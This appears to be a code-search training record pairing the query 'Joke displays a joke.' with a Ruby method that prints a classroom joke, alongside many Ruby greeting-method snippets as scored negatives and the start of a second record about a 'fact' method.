"def greet\n system \"clear\"\n self.spinner(\"Loading App\")\n self.spinner(\"🔺 Enumerati-ing 🔺 \")\n welcome = \"Welcome\".colorize(:light_green)\n se = \"Student Exchange\".colorize(:light_magenta)\n puts \"_\".colorize(:light_green) * \"Welcome to Student Exchange, the best book exchanging application on campuses throughout USA!\".length\n choice = self.prompt.select(\"Welcome to \".colorize(:light_green) + \"Student Exchange\".colorize(:color => :light_magenta, :mode => :bold) + \", the best book exchanging application on campuses throughout USA!\\n\".colorize(:light_green) + \"Are you a new user or returning user?\".colorize(:color => :light_green).underline, [\"New User\", \"Returning User\", \"Exit\"])\n puts \" \"\n # Based on the user's choice, will redirect them to the appropriate User method\n # We set the user instance object to the user object we created (new user) or retrieved (returning user)\n case choice\n when \"New User\"\n user = User.handle_new_user\n self.spinner(\"Creating Account\")\n self.user = user\n self.main_menu\n when \"Returning User\"\n user = User.handle_returning_user\n self.spinner(\"Restoring Session\")\n self.user = user\n self.main_menu\n when \"Exit\"\n puts \"Smell ya later! 🦄\"\n exit\n end \n end",
"def greet(who)\n\t\"Hello, #{who}!\"\nend",
"def greet(who)\n\t\"Hello, #{who}!\"\nend",
"def greet(who)\n\t\"Hello, #{who}!\"\nend",
"def say_greeting\r\n greeting = \"\\t\\t Welcome to the Virtual Crazy 8-Ball game!\" +\r\n \"\\n\\n\\n\\n\\n\\n\\t To play: \" +\r\n \"\\n\\t Simply ask any question you desire to have answered and press ENTER.\" +\r\n \"\\n\\t The 8-Ball will work its magic to determine your fortune! \" +\r\n \"\\n\\t You may ask as many questions as you like and submit 'q' to end the game.\" +\r\n \"\\n\\n\\n\\n\\n\\n\\nPress Enter to continue. \\n\\n: \"\r\n print greeting\r\n end",
"def greeting(name)\n puts \"Hello #{name}\"\n end",
"def greet\n\t\treturn \"I'm #{GOODMOOD}. How are you?\"\n\tend",
"def greet person\n\t'Hello, ' + person + '!'\nend",
"def greeting\n puts 'Greetings, honorable gentleman.'\nend",
"def greeting(name)\n\tputs \"Hello \" + name + \". Have a nice day!\"\nend",
"def welcome\n puts \"\\nHello, welcome to DayTrader. Please sign in with your name (first + last): \"\n end",
"def greeter\nend",
"def greet (name)\n\treturn \"Hello, #{name}\"\nend",
"def greeting(name)\n\tputs \"Hello, \" + name + \". How are you doing?\"\nend",
"def greet(first, last)\n p \"Hi, \" + last + \", \" + first\nend",
"def greet(m)\n return unless m.message =~ /\\b(hellos?|hi(ya)?|howdy|hey|greetings|yo|sup|hai|hola),? #{m.bot.nick}\\b/i\n greetings = ['Hello', 'Hi', 'Hola', 'Ni hao', 'Hey', 'Yo', 'Howdy']\n greeting = greetings[rand(greetings.size)]\n m.reply \"#{greeting}, #{m.user.nick}!\"\n end",
"def greet\n puts \"Hello, #{@name}!\"\n end",
"def greeting \n\t\t\"Hi my name is #{@name}\"\n\tend",
"def greetings\n \"Greetings. We come in peace.\"\n end",
"def display_welcome\n\t\tputs \"\\t**************************\"\n\t\tputs \"\\t*** Welcome To Hangman ***\"\n\t\tputs \"\\t**************************\"\n\tend",
"def welcome(greeting, options={})\n name = options[:name] || 'friend'\n punct = options[:punctuation] || '!'\n greeting + ' ' + name + punct\nend",
"def greeting\n puts \" \"\n puts \"Welcome climbing enthusiast.\"\n puts \"Where would you like to explore today?\"\n puts \" \"\n puts \"List of Cities:\"\n list_cities\n end",
"def greet(folks); \"Hi, #{folks}!\"; end",
"def say_greeting\r\n\t\tgreeting = \"\\t\\t Welcome to the Virtual Crazy 8-Ball\" +\r\n\t\t\"game\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\" +\r\n\t\t\"Instructions: Choose Yes or No to play the 8-Ball game!\\n\" +\r\n\t\t\"When prompted enter your question you wish to be answered.\" +\r\n\t\t\"\\n\\nPress Enter to continue. \\n\\n: \"\r\n\t\t\r\n\t\tprint greeting\r\n\tend",
"def greeting(m, message)\n if message =~ /help/\n m.reply help_message(m.user.nick)\n else\n m.reply \"#{m.user.nick}: Thanks for asking! I did not recognize your question. Try asking me for help.\"\n end\n end",
"def greeter(name)\n puts \"Hello #{name}! How are you today?\"\nend",
"def greeting\n puts \"Hi, my name is #{@name}.\"\n end",
"def greet2\n puts \"\\n\n We've looked up some interesting\\n\n facts about characters from the films,\\n\n and we invite you to learn some \\n\n more about them.\\n\"\n sleep 4\n end",
"def greeting(name)\n print \"hello \" + name + \" what the fuck is your problem?\"\nend",
"def welcome\n\t\tputs \"Welcome to Hangman!\\n\\n\"\n\t\tputs \"The computer has selected a random secret word for you to guess.\\n\"\n\t\tputs \"Be careful - you have 6 incorrect guesses before you hang the man!\"\n\tend",
"def greeting(name)\n puts \"Aloha \" + name\nend",
"def greet\n Interactivity.logo\n end",
"def greet(name)\n print \"Hello, #{name} how are you doing today?\"\nend",
"def greeting\n greetings = [\"Hello\", \"Hey\", \"Greetings\", \"Salutations\", \"Welcome\"]\n greetings[rand(greetings.size)]\n end",
"def greet(name)\n\t\"Hello, #{name}!\"\nend",
"def welcome (name)\n\tputs \"Hello #{name}!\"\nend",
"def greet\n\tputs \"Hello there! Welcome back.\"\n\tsleep(1)\n\tputs \"Here are your options:\"\n\tsleep(1)\nend",
"def welcome(nick_name, name)\n puts \"Hello, my friends call me #{nick_name}, but I prefer #{name}.\"\nend",
"def welcome(greeting)\n puts \"Welcome to Ruby!\"\n \nend",
"def greeting(name)\n puts \"Hello #{name}, welcome to the program!\"\nend",
"def greeting(morning_or_noon, name, time)\n puts \"#{morning_or_noon} #{name}, nice to meet ya. Today is #{time}!\"\nend",
"def greeting(name)\n\t\"Hello, #{name}\"\nend",
"def greeting(name)\r\n\tp \"hello \" +\"\"+ name\r\nend",
"def greeting \r\n puts \"Hi, Ruby programmer!\"\r\nend",
"def print_welcome\n puts \"Welcome to Hangman!\"\n puts \"Guess the word: or be hung!\"\n puts \"Remember that you after 10 letter guesses you lose.\"\n end",
"def greet(name)\n puts \"hello \" + name\nend",
"def greet(person)\n puts \"Hello, \" + person\nend",
"def greet(person)\n puts \"Hello, \" + person\nend",
"def greet person\n puts \"Hello, #{person}!\"\nend",
"def greeting\n puts \"Hi my name is #{@name}\"\n end",
"def greet(first_name, last_name)\n p \"Hey \" + first_name + \", your last name is \" + last_name\nend",
"def greet(first_name, last_name)\n p \"Hey \" + first_name + \", your last name is \" + last_name\nend",
"def welcome\n puts \"Hello Everyone!\"\nend",
"def greeting \n puts \"Hello World\"\nend",
"def greet(first_name, last_name)\n p 'Hey ' + first_name + ', your last name is ' + last_name\nend",
"def welcome(greet, name, punct=\"!\")\n greet + ' ' + name + punct\nend",
"def greeter (name)\n return \"Hello #{name}\"\n end",
"def welcome\n clear\n output \"Welcome to Hangman\"\n output \"==================\"\n blank_line\n end",
"def greet(first_name, last_name)\n p \"Hey \" + first_name + \", your last name is \" + last_name\nend",
"def greeting(name) \n puts \"Hello, \"+name\nend",
"def greeting(name)\n puts \"Hello, \" + name + \", I like cats!\"\nend",
"def greeting(name)\n \"Howdy #{name}, welcome back!\"\nend",
"def welcome\t\n\t\tputs \"Enjoy the Game #{$person.show_name}\"\n\t\tputs \"This game is about guessing a '\\Secret Number'\\ between 1-10. You have 3 attempts to identify the '\\Secret Number'\\. \n\t\t You win if you guess the '\\Secret Number'\\ withing the 3 attempts, otherwise you lose the game!\"\n\tend",
"def greet time, name\n puts \"Good #{time}, #{name}!\"\nend",
"def greeting\n puts \"hello\"\nend",
"def greeting\n ver = @data.unpack(\"C\").first\n clear_data\n if ver == 5\n send_data \"\\x05\\x00\" # NO AUTHENTICATION REQUIRED\n else\n send_data \"\\x05\\xFF\" # NO ACCEPTABLE METHODS\n end\n Fiber.yield\n end",
"def greet name\t\t\t# name is a \"parameter\" of the method.\n\tputs \"Hello #{name}!\"\nend",
"def welcome_user\n puts \"Welcome to #{pastel.bright_cyan('Groupie')}.\"\n puts \"Keep up with your favorite bands, never miss a show!\"\n puts \"Type #{pastel.bright_cyan('exit')} at any time to quit the app.\"\n puts \"Type #{pastel.bright_cyan('concerts')} to get started.\"\n end",
"def greetings\n if @awake\n \"Hi, my name is #{full_name}\"\n else\n 'ZZZzzzZZZzzz'\n end\n end",
"def greet(name)\n puts \"Hello, #{name}\"\nend",
"def greeting\n puts \"Hello World\"\nend",
"def greeting\nputs \"HELLO, BONJOUR, HOLA, GUTENTAG, HALLO, HOWDY, NAMASKAR, MERHABA\"\nend",
"def greeting(who = nil)\n if who\n \"Hello, #{who}!\"\n else\n \"Hello!\"\n end\nend",
"def greeting\n puts \"Hello!\"\nend",
"def greeting\n puts \"Hello!\"\nend",
"def greeting (name)\n puts \"What is your name?\"\n name = gets.chomp\n puts \"Hello #{@name}!\"\n end",
"def greeting(name)\n puts \"Hi \" + name\n namet\nend",
"def greeting\n puts 'Hello!'\nend",
"def greeting\n puts 'Hello!'\nend",
"def greeting\n puts 'Hello!'\nend"
] |
[
"0.80120677",
"0.80120677",
"0.7954985",
"0.791066",
"0.79105985",
"0.7864962",
"0.77740765",
"0.77100253",
"0.76761246",
"0.764491",
"0.7588278",
"0.7587949",
"0.75714904",
"0.75714904",
"0.75493693",
"0.74946696",
"0.7472094",
"0.74581087",
"0.7372165",
"0.73680884",
"0.7334333",
"0.73160625",
"0.73160625",
"0.73160625",
"0.72819424",
"0.7264543",
"0.7263283",
"0.7249069",
"0.7212183",
"0.7187212",
"0.71763253",
"0.7131838",
"0.7109325",
"0.71030354",
"0.7080786",
"0.7073374",
"0.7061813",
"0.7042782",
"0.7028705",
"0.70113724",
"0.7007881",
"0.6998753",
"0.6998633",
"0.6995233",
"0.6982979",
"0.6975484",
"0.6953047",
"0.6945016",
"0.6944604",
"0.69432676",
"0.6928156",
"0.6924757",
"0.689334",
"0.6876637",
"0.68719953",
"0.6870036",
"0.68690246",
"0.6861842",
"0.6860279",
"0.6857053",
"0.6844908",
"0.6834579",
"0.6826899",
"0.6822319",
"0.681898",
"0.68119013",
"0.6803051",
"0.6803051",
"0.6800954",
"0.67962384",
"0.6774975",
"0.6774975",
"0.6773461",
"0.67674166",
"0.67583036",
"0.67563224",
"0.67510986",
"0.67395294",
"0.67306834",
"0.6723954",
"0.6722065",
"0.6721544",
"0.6720569",
"0.6713198",
"0.6706173",
"0.670568",
"0.67046493",
"0.6704362",
"0.6702759",
"0.67019105",
"0.66948855",
"0.6687538",
"0.6683941",
"0.66656446",
"0.66656446",
"0.666457",
"0.6657833",
"0.6657227",
"0.6657227",
"0.6657227"
] |
0.8350204
|
0
|
Joke displays a joke.
|
def joke
puts "#{@name} here is a joke for you:"
puts ''
puts "Teacher: Anyone who thinks he's stupid may stand up!"
puts ''
puts 'Nobody stands up'
puts ''
puts 'Teacher: Im sure there are some stupid students over here!!'
puts ''
puts 'Little Johnny stands up'
puts ''
puts "Teacher: Ohh, Johnny you think you're stupid?"
puts ''
puts "Little Johnny: No... i just feel bad that you're standing alone..."
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n\t\t@joke = Joke.find(params[:id])\n\tend",
"def show\n @joke = Joke.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @joke }\n end\n end",
"def joke; end",
"def set_joke\n @joke = Joke.find(params[:id])\n end",
"def set_joke\n @joke = Joke.find(params[:id])\n end",
"def joke(id)\n path = id.nil? ? \"/\" : \"/j/#{id}\"\n resp = http.get(path).tap do |resp|\n if resp.body.status == 404\n raise FunnyGuy::HTTPError::NotFound, error_handler.response_values(resp.env)\n end\n end\n FunnyGuy::DataSource::ICanHasDadJoke::Joke.new resp.body\n end",
"def joke_randomizer(user)\n puts \" \"\n puts \"Hope this makes you laugh! \"\n puts \" \"\n puts \"*********************\"\n random_joke = Joke.all.sample.text\n puts random_joke\n puts \" \"\n puts \"*********************\"\n puts\"Want another random joke? (Press ENTER)\"\n input = gets.chomp\n if input\n puts random_joke\n end\n puts \" \"\n puts \"*********************\"\n self.return_to_menu(user)\n end",
"def tell(name, joke)\n name.learn(joke)\n end",
"def player_bj\n display(\"Nice job with the BJ! Let's stay put.\")\n end",
"def index\n @jokes = Joke.all\n end",
"def users_favorite_jokes(user)\n user.jokes.each do |joke|\n puts \"- #{joke.text}\"\n end\n end",
"def show\n session[:joke_id] = @joke.id\n if @joke.bitly_url.nil?\n @joke.generate_bitly_url\n end\n\n @fb_url = @joke.bitly_url\n generate_title @joke.question\n\n respond_to do |format|\n format.html\n format.js { render :layout => false }\n format.xml { render :xml => @joke }\n format.json { render :json => @joke }\n end\n end",
"def create\n\t @joke = Joke.new(joke_params)\n\t @joke.save\n\n\t respond_to do |format|\n\t if @joke.save\n\t format.html { redirect_to @joke, notice: 'Joke was successfully created. LOL!' }\n\t format.json { render :show, status: :created, location: @joke }\n\t else\n\t format.html { render :new }\n\t format.json { render json: @joke.errors, status: :unprocessable_entity }\n\t end\n\t end\n\tend",
"def speak\n puts \"I am #{@name} and I am a #{@job}\"\n end",
"def new\n\t\t@joke = Joke.new\n\t\t@joke.save\n\tend",
"def display_egg_hatch(pokemon)\n call_scene(GamePlay::Hatch, pokemon)\n $quests.hatch_egg\n end",
"def return_all_jokes(user)\n puts \"*********************\"\n Joke.all_jokes\n puts \" \"\n self.return_to_menu(user)\n end",
"def joke1\n puts \"A peanut was walking down the street. He was a-salt-ed.\"\nend",
"def show\n @joy = Joy.find(params[:id])\n render json: @joy\n end",
"def new\n @joke = Joke.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @joke }\n end\n end",
"def show\n @title = @judge.name\n @crumbs = [[I18n.t('judges.index.title'), judges_path], [@judge.name, '#']]\n end",
"def show\n @event_karaoke = Event::Karaoke.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_karaoke }\n end\n end",
"def show_win\n puts \"Congratulations #{@name}, you've won the game!\"\n puts 'Hangman lives to hang another day!'\n puts \"\\n\"\n end",
"def start_hike\n system 'clear'\n puts \"-----MY HIKES-----\"\n trail_name = @prompt.select(\"Which trail?\", [\"Cancel\"] + Trail.all.map(&:name))\n if trail_name != \"Cancel\"\n Hike.create(date: Time.now, trail: Trail.all.find_by(name: trail_name), user: @current_user, completed: false)\n puts \"Successfully started new hike on #{trail_name}.\"\n @prompt.keypress(\"Press any key to continue\")\n end\n end",
"def new\n @joke = current_user.jokes.new\n @joke.anonymous = true\n set_seo_meta \"#{t('indexs.new')}_#{Settings.app_title}\" \n end",
"def new\n @joke = current_user.jokes.build\n end",
"def attach_joke\n @joke = Joke.find(params[:id]) || Joke.new\n end",
"def create\n @joke = Joke.new(joke_params)\n @joke.thumb_up = 0\n @joke.thumb_down = 0\n\n respond_to do |format|\n if @joke.save\n format.html { redirect_to @joke, notice: 'Joke was successfully created.' }\n format.json { render :show, status: :created, location: @joke }\n else\n format.html { render 'pretend_to_have_joke' }\n format.json { render json: @joke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def random_joke\n joke nil\n end",
"def displayPlayer()\n puts \"*** Player Info ***\"\n puts \"Name: #{@name}\"\n puts\n end",
"def speak\n\t\tputs \"Meow. My name is #{@name.capitalize}.\"\n\t\tputs \"I am #{@age} years old and I live in #{@location}\"\n\t\tputs \"I am a #{@colour.downcase} #{@breed.downcase}.\"\n\tend",
"def show_player(name)\n if player = Player.find_by_name(name)\n puts \"____________________________________________________________________\"\n puts \"#{player.player} Age:#{player.age} Position:#{player.position}\"\n puts \"Team:#{player.team}\"\n puts \"Games Played: #{player.games_played}\"\n puts \"Goals: #{player.goals}\"\n puts \"Assists: #{player.assists}\"\n puts \"Points: #{player.points}\"\n puts \"Shooting Percentage: #{player.shooting_percentage}\"\n puts \"Plus Minus: #{player.plus_minus}\"\n puts \"Penalty Minutes: #{player.penalty_minutes}\"\n puts \"Average TOI: #{player.toi_avg}\"\n puts \"Blocks: #{player.blocks}\"\n puts \"Hits: #{player.hits}\"\n puts \"Faceoff Percentage: #{player.faceoff_percentage}\"\n puts \"____________________________________________________________________\"\n else\n raise_player_error\n end\n end",
"def bye_message\n message = \"Panacea's work is done, enjoy!\"\n say \"\\n\\n\\e[34m#{message}\\e[0m\"\n end",
"def new\n @profile = Profile.find(params[:profile_id])\n @joke = @profile.jokes.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @joke }\n end\n end",
"def lister(songs)\n puts \"\"\n puts \"Here are the lists of songs and artists contained in the jukebox...\"\n puts \"\"\n puts \"------------------------------------------\"\n puts songs\n puts \"------------------------------------------\"\n puts \"\"\n puts \"Welcome back to the Jukebox... type help, play, list or exit...\"\n\n jukebox\nend",
"def icndb_joke\n\n url = \"http://api.icndb.com/jokes/random\"\n begin\n joke = open(url).read()\n hash = JSON.parse joke\n joke_string = hash['value']['joke']\n rescue\n joke_string=''\n end\n end",
"def speak\n puts \"Ho, ho, ho! Haaaaappy holidays! I'm #{@name}!\"\n end",
"def return_favorite_jokes(user)\n puts \" \"\n users_favorite_jokes(user)\n puts \" \"\n self.return_to_menu(user)\n end",
"def speak\n\t\tputs \"My name is #{@name}. I am a #{@colour} dog. I am #{@age} years old and live in #{@home}\"\n\tend",
"def play\n puts \"#{name} got zoomies playing fetch!\"\n @hungry = true\n end",
"def index\n @jokes = Joke.all\n flash[:notice] = '测试消息'\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @jokes }\n end\n end",
"def speak\n puts \"Ho Ho Ho! Haaaaaappy holidays! from #{@name} Santa\"\n end",
"def create\n @joke = current_user.jokes.build(joke_params)\n if @joke.save\n upvote_on_post\n redirect_to @joke\n else\n render 'new'\n end\n end",
"def welcome_message\r\n system(\"clear\")\r\n a = Artii::Base.new :font => 'slant'\r\n puts a.asciify('Make 10').colorize(:white).on_green\r\n puts (\"This app can find solutions for the game Make 10.\")\r\n end",
"def index\n if is_clean_mode?\n @jokes = Joke.where('is_kid_safe = 1')\n else\n @jokes = Joke.all\n end\n\n generate_title \"All Jokes\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jokes }\n end\n end",
"def show_player\n if @position == 1\n puts \"le joueur #{@position} : #{@name.capitalize} #{@avatar} a le symbol #{symbol} il débutera la partie\"\n else\n puts \"le joueur #{@position} : #{@name.capitalize} #{@avatar} a le symbol #{symbol}\"\n end\n end",
"def login\n room.add_player self\n room.echo(\"#{display_name} suddenly appears.\", [self], :blue)\n hear_line(\"You fade in to being...\", :blue)\n W.players << self\n end",
"def keyword_find(user)\n pastel = Pastel.new\n puts \" \"\n puts pastel.white.inverse.bold(\"Please enter a keyword to search by.\")\n keyword = gets.chomp \n Joke.find_by_keyword(keyword)\n self.return_to_menu(user) \n end",
"def speak\n \"#{name} says Assalaam alaykum\"\n end",
"def set_jogo\n @jogo = Jogo.find(params[:id])\n end",
"def show\n @note = @game.notes.build\n @gamer = Gamer.new\n end",
"def play\n\t\t\"playing #{title}\"\n\tend",
"def talk\r\n puts \"Hi I'm #{@name}\"\r\n self\r\n end",
"def speak\n\t\t\tputs \"#{@name} said Ho, ho, ho! Haaaappy holidays!\"\n\t\tend",
"def shortcut\r\n @beer = Beer.find_by_key!( params[:key] )\r\n render :show\r\n end",
"def display_name\n pastel = Pastel.new\n font = TTY::Font.new(:doom)\n puts pastel.green(\"You have encountered\")\n puts pastel.red(font.write(\"DRACO THE TERRIBLE\"))\n end",
"def welcome\t\n\t\tputs \"Enjoy the Game #{$person.show_name}\"\n\t\tputs \"This game is about guessing a '\\Secret Number'\\ between 1-10. You have 3 attempts to identify the '\\Secret Number'\\. \n\t\t You win if you guess the '\\Secret Number'\\ withing the 3 attempts, otherwise you lose the game!\"\n\tend",
"def show\n @hitchhike = Hitchhike.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hitchhike }\n end\n end",
"def play\n# \tThere are 3 players in Knuckleheads: \n\t\tputs \"There are #{to_s} players in #{@title}\"\n# \tI'm Moe with a health of 100 and a score of 103.\n# \tI'm Larry with a health of 60 and a score of 65.\n# \tI'm Curly with a health of 125 and a score of 130.\n\t\t@Player.each do |spieler|\n\t\t\tputs \"I'm #{spieler} with a health of #{@health} and a score of #{score}\"\n\t\t\tend\n# \tMoe got blammed!\n# \tMoe got w00ted!\n# \tMoe got w00ted!\n# \tI'm Moe with a health of 120 and a score of 123.\n# \tLarry got blammed!\n# \tLarry got w00ted!\n# \tLarry got w00ted!\n# \tI'm Larry with a health of 80 and a score of 85.\n# \tCurly got blammed!\n# \tCurly got w00ted!\n# \tCurly got w00ted!\n# \tI'm Curly with a health of 145 and a score of 150.\n\t\tend",
"def show\n @bike = Bike.find(params[:id])\n end",
"def speak\n \"#{@name} says Arf!!\"\n end",
"def show\n @title = \"Sport Keyword: \" + @sport_keyword.value + \" | Sport on Television in Australia\"\n @breadcrumb = \"Sport: \"+ @sport_keyword.value\n end",
"def create\n @joke = Joke.new(params[:joke])\n if current_user\n @joke.user = current_user\n @joke.is_kid_safe = params[:joke][:is_kid_safe] == '1' && !(ProfanityFilter::Base.profane?(@joke.question) || ProfanityFilter::Base.profane?(@joke.answer))\n\n end\n respond_to do |format|\n if @joke.save\n notice = 'Joke was successfully created.'\n\n format.html {\n auto_post_joke\n redirect_to(@joke, :notice => notice)\n }\n format.mobile {\n auto_post_joke\n redirect_to(@joke, :notice => notice)\n }\n format.xml { render :xml => @joke, :status => :created, :location => @joke }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @joke.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def how_to_play(user)\n puts \"Welcome, #{user.name}!\\n\\n\".blue + \"Here's a quick rundown on how to play:\\n\\n\"\n puts \"The goal of the game is to guess all letters (or the word) of the puzzle word shown in the box.\"\n puts \"If the guess is wrong, the asteroid will get closer to your Dino!\"\n puts \"Type in \" + \"SOLVE \".blue + \"to guess a word.\"\n puts \"Type in \" + \"HINT \".green + \"to get the hint to the puzzle word, which will be a synonym or definition of the word.\"\n puts \"Using the HINT will advance the asteroid!\"\n puts \"You lose the game when the asteroid stikes the dino. :(\\n\\n\"\n puts \"Ready?\\n\\n\\n\"\nend",
"def welcome_user\n puts \"Welcome to #{pastel.bright_cyan('Groupie')}.\"\n puts \"Keep up with your favorite bands, never miss a show!\"\n puts \"Type #{pastel.bright_cyan('exit')} at any time to quit the app.\"\n puts \"Type #{pastel.bright_cyan('concerts')} to get started.\"\n end",
"def winner\n\tputs \" - WoooW #{@name} !!!! Tu m'impressionne, Tu as gagne !!! \"\n\tputs \" \"\n end",
"def play\n take_turn until @master.game_over?\n @master.show_board\n @robot.speak\n end",
"def show\n @jam = Jam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jam }\n end\n end",
"def update\n\t respond_to do |format|\n\t if @joke.update(joke_params)\n\t format.html { redirect_to @joke, notice: 'joke was successfully updated.' }\n\t format.json { render :show, status: :ok, location: @joke }\n\t else\n\t format.html { render :edit }\n\t format.json { render json: @joke.errors, status: :unprocessable_entity }\n\t end\n\t end\n\tend",
"def who\n puts \"I am #{@name} from #{@planet}\"\n end",
"def swing\n\t\tputs \"#{@name} *swings hips*\"\n\tend",
"def greet\n separator\n puts \"Welcome to #{pastel.bright_cyan('Groupie')}.\"\n puts \"Keep up with your favorite bands, never miss a show!\"\n puts \"Type #{pastel.bright_cyan('concerts')} to get started.\"\n separator\n end",
"def greet\n separator\n puts \"Welcome to #{pastel.bright_cyan('Groupie')}.\"\n puts \"Keep up with your favorite bands, never miss a show!\"\n puts \"Type #{pastel.bright_cyan('concerts')} to get started.\"\n separator\n end",
"def update\n @joke = Joke.find(params[:id])\n\n respond_to do |format|\n if @joke.update_attributes(params[:joke])\n format.html { redirect_to @joke, :notice => 'Joke was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @joke.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @kicks = Kick.all\n end",
"def repeated_jokes?\n if joke == 2\n @repeated_jokes = true\n else\n @repeated_jokes = false\n end\n end",
"def update\n respond_to do |format|\n if @joke.update(joke_params)\n format.html { redirect_to @joke, notice: 'Joke was successfully updated.' }\n format.json { render :show, status: :ok, location: @joke }\n else\n format.html { render :edit }\n format.json { render json: @joke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def helper\n puts \"\"\n puts \"----------------------------------------------------------------------\"\n puts \"You can type any of the following commands...\"\n puts \"'Help' in case you forget how the program works, this will remind you.\"\n puts \"'Play' where you will be able to play a song.\"\n puts \"'List' this will show you the list of available songs.\"\n puts \"'Exit' to exit the program.\"\n puts \"----------------------------------------------------------------------\"\n puts \"\"\n puts \"Welcome back to the Jukebox... type help, play, list or exit...\"\n\n jukebox\nend",
"def show\n @jornada = Jornada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jornada }\n end\n end",
"def list_user_hikes\n if @current_user.reload.hikes.length > 0\n print_hike_info(@current_user.reload.hikes)\n else\n puts \"There are no hikes to display.\"\n end\n @prompt.keypress(\"Press any key to continue\")\n end",
"def start()\n\t\tputs \"Welcome to ZORK!\";\n\t\tputs \"Your neighborhood has been overrun with monsters.\";\n\t\tputs \"You have been tasked with clearing the area of all monsters.\";\n\t\t\n\t\tputs \"\\n\\nWhat is your name?\";\n\t\tname = gets.chomp;\n\t\t@player = Player.new(name);\n\t\tsystem('cls');\n\t\tputs \"#{@player.name} you are standing in front of your house at the center of your neighborhood\";\n\tend",
"def display_games_index\n index = ['Welcome to textVENTURE! Please choose a game from the selection below:']\n Game.where(publish: true).find_each do |game|\n index.push(game.name)\n end\n index.push('Simply type the name of the game you wish to play, and hit enter')\n end",
"def destroy\n @joke = Joke.find(params[:id])\n @joke.destroy\n\n respond_to do |format|\n format.html { redirect_to jokes_url }\n format.json { head :no_content }\n end\n end",
"def printTurnOver(player)\n puts \"Player \" + player.getName + \", your turn is now over. Here are your hand(s):\"\n puts player.printHands\n pressKeyToContinue\nend",
"def show_games\n puts Rainbow(\"------------------------------\").red\n puts MyCliProject::Game.all.last.description\n puts Rainbow(\"------------------------------\").red\n continue_or_exit\n end",
"def show_rename_choice\n PFM::Text.set_pkname(@pokemon, 0)\n choice = display_message(text_get(36, 39), 1, text_get(11, 27), text_get(11, 28))\n return unless choice == 0 # No\n Graphics.freeze\n @pokemon.given_name = GamePlay::NameInput.new(@pokemon.given_name, 12, @pokemon).main.return_name\n end",
"def speak\n \"#{@name} says arf!\"\n end",
"def speak\n \"#{@name} says arf!\"\n end",
"def speak\n \"#{name} says arf!\"\n end",
"def show\n # redirect_to \"/jugadalots/new\", notice: \"NO PERMITIDO SHOW.\" and return \n # Ahora entra en la parte de la vista. Esta contiene el ticket a enviar para la impresion.\n end",
"def show\n @you_owe_me = YouOweMe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @you_owe_me }\n end\n end",
"def jump\n \"Saltando...\"\n end",
"def index\n @kejuaraans = Kejuaraan.all\n end",
"def index\n @kelas = Kela.all\n end",
"def display\n self.print\n puts \"#{@headline} -- (Liked: #{@like_number})\"\n end",
"def show\n @jakeslink = Jakeslink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jakeslink }\n end\n end",
"def speak\n puts \"ho, ho, ho! happy hollandaise!\"\n end",
"def greeting\n a = Artii::Base.new\n a.asciify('FlixNet')\n puts a.asciify('FlixNet').colorize(:blue)\n\n puts \"Welcome to Adam, Jake, and Oscar's movie Database!\"\n end",
"def show_start_game(game)\n puts \"#{game.player1.name} is: #{game.player1.identity}\"\n puts \"#{game.player2.name} is: #{game.player2.identity}\"\n puts 'TIC TAC TOE.. start!'\nend",
"def speak \n \"#{self.name} says arf!\"\n end"
] |
[
"0.73874974",
"0.6765242",
"0.6705981",
"0.6505746",
"0.6505746",
"0.6357412",
"0.63181466",
"0.6234914",
"0.622758",
"0.62187207",
"0.6072637",
"0.602608",
"0.5950052",
"0.58317834",
"0.571904",
"0.5716257",
"0.5625925",
"0.5597951",
"0.55358344",
"0.55128044",
"0.5499703",
"0.5473744",
"0.5471507",
"0.54553217",
"0.5434011",
"0.5423679",
"0.5414058",
"0.5413377",
"0.5375366",
"0.53492415",
"0.53413844",
"0.5320733",
"0.5312861",
"0.529531",
"0.5283043",
"0.5281109",
"0.5270792",
"0.525839",
"0.52579385",
"0.5253418",
"0.5233568",
"0.5233107",
"0.5214341",
"0.52011836",
"0.52004385",
"0.5197536",
"0.51692724",
"0.516719",
"0.51659244",
"0.5151762",
"0.5122998",
"0.5120427",
"0.50947225",
"0.509388",
"0.5093737",
"0.5093346",
"0.5091857",
"0.5090446",
"0.5070619",
"0.50692815",
"0.5054919",
"0.50525755",
"0.5044326",
"0.5038773",
"0.5033418",
"0.5021312",
"0.50136995",
"0.50092363",
"0.500587",
"0.5002027",
"0.50013393",
"0.499054",
"0.499054",
"0.49882028",
"0.49839425",
"0.4981365",
"0.49737978",
"0.49629575",
"0.49554992",
"0.49518302",
"0.49458924",
"0.49379155",
"0.49376357",
"0.4925701",
"0.49245745",
"0.4924397",
"0.49160272",
"0.49160272",
"0.49152204",
"0.4913552",
"0.49125174",
"0.4911507",
"0.49022773",
"0.48981488",
"0.48947918",
"0.48890376",
"0.48877433",
"0.48873526",
"0.48848253",
"0.48830423"
] |
0.6988611
|
1
|
Fact displays a fact.
|
def fact
puts ''
puts '---Did you know?---'
puts 'A pregnant goldfish is called a twit.'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fact_display(category)\n puts \"\\n\"\n puts fact_parser(category)\n end",
